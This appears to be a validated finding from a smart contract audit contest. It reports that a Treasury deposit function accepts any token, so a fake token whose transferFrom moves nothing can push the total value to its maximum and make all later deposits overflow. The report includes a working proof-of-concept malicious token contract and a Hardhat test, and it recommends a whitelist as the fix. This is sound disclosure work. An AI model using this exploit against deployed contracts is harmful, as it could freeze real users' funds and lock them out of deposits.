Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Treasury deposits can be DoSed by using a malicious token

tejaswarambhe

Summary

The Treasury::deposit function lacks enough sanitization and restrictions, allowing for a malicious token to inflate _totalValue leading to DoS of treasury deposits.

Vulnerability Details

The Treasury::deposit function is designed to allow users to deposit any token of their choice, these tokens are tracked via _balances individually and via _totalValue collectively.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount; <<@ - // Tracks token balances individually
_totalValue += amount; <<@ - // Tracks overall balances
emit Deposited(token, amount);
}

However, as we can observe there's a lack of sanitization and restriction on who can call this function, hence allowing users to pass a malicious token.
The attack path can be traced as follows:-

  1. A bad actor can simply deploy a malicious token whose transferFrom function actually doesn't transfer any tokens.

  2. Now, the bad actor would deposit such token with the maximum possible uint in order to max out the _totalValue variable.

  3. At the same time ensuring that such malicious token's transfer function simply reverts.

  4. Now, any legitimate actor who wants to deposit, will be denied as the _totalValue variable would simply overflow, leading to pure DoS of treasury contract.

Impact

  1. Denial of Service (DoS) of the deposit function (leveraging the above attack immediately upon deployment)

  2. Renders contract useless

Proof of Concept

Add a new file under contracts/mocks/core/tokens named MaliciousToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract MaliciousToken is ERC20 {
constructor(uint256 initialSupply) ERC20("Malicious Token", "MAL") {
_mint(msg.sender, initialSupply);
}
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
​
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
return true;
}
}

Add the following test case inside the Treasury.test.js file:

describe("Illegal deposits", () => {
beforeEach(async () => {
await token.connect(user1).approve(treasury.getAddress(), ethers.parseEther("1000"));
});
​
it("should prevent legit deposits", async () => {
const MaliciousToken = await ethers.getContractFactory("MaliciousToken");
// Deploy malicious token with a fake transferFrom function
const maliciousToken = await MaliciousToken.deploy(ethers.parseEther("1000000000"));
const [randomAddress] = await ethers.getSigners();
// Forcefully fill the `_totalValue` by depositing a large amount of malicious token
await treasury.connect(randomAddress).deposit(maliciousToken.getAddress(), ethers.MaxUint256);
​
// Try to make a legit deposit
const amount = ethers.parseEther("100");
await treasury.connect(user1).deposit(token.getAddress(), amount)
// Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)
});
})

This would revert as expected due to an overflow.

Tools Used

Manual Review
/
Hardhat

Recommendations

It is recommended to whitelist the tokens or restrict the deposit function as a whole.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.